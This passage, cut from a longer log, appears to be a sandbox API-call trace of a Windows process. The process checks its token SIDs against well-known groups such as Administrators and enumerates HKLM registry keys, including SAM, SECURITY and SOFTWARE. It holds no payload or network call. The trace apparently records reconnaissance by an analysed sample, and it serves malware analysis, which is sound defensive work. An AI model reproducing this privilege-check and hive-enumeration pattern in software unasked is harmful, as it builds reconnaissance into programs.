[4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0224.802] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0224.802] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0224.802] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0224.802] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0224.802] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x4c, [5]=0x58))) returned 0 [0224.802] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0224.803] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0224.803] EqualSid (pSid1=0x4e4998*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x4ab954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0224.803] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ab860) returned 1 [0224.803] NtClose (Handle=0xc4) returned 0x0 [0224.803] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ab860 [0224.803] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ab8a8 [0224.804] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x280) returned 0x4ab930 [0224.804] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0224.809] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x4ab930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0224.809] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.809] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abc58 [0224.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x4abc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0224.809] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abca0 [0224.809] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abc58) returned 1 [0224.809] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abca0) returned 1 [0224.809] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.809] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x4ab930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abca0 [0224.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x4abca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abc58 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abca0) returned 1 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abc58) returned 1 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.810] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x4ab930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abc58 [0224.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x4abc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abca0 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abc58) returned 1 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abca0) returned 1 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.810] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x4ab930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abca0 [0224.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x4abca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abc58 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abca0) returned 1 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abc58) returned 1 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.810] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x4ab930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abc58 [0224.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x4abc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.810] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abca0 [0224.810] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abc58) returned 1 [0224.811] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abca0) returned 1 [0224.811] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.811] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x184) returned 0x4ad040 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abca0 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abc58 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abce8 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abd30 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abd78 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abdc0 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abe08 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abe50 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abe98 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abee0 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abf28 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abf70 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4abfb8 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac000 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac048 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac090 [0224.811] RegCloseKey (hKey=0x80000002) returned 0x0 [0224.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x4ab930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x4ac0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0224.811] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.811] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.811] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.811] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x4ab930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x4ab930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x4ac0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x4ab930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x4ab930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.812] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", cchWideChar=5, lpMultiByteStr=0x4ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intel", lpUsedDefaultChar=0x0) returned 5 [0224.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x4ab930, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0224.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0224.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x4ac120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0224.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x4ab930, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0224.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0224.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x4ac0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0224.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.813] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x38) returned 0x0 [0224.813] RegCloseKey (hKey=0xc4) returned 0x0 [0224.813] RegEnumKeyW (in: hKey=0x38, dwIndex=0x0, lpName=0x4ab930, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0224.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x4ac120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0224.813] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0x4ab930, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x4ac0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0x4ab930, cchName=0x104 | out: lpName="ADs") returned 0x0 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.814] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.814] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x4ab930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0224.814] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x4ac0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0224.814] 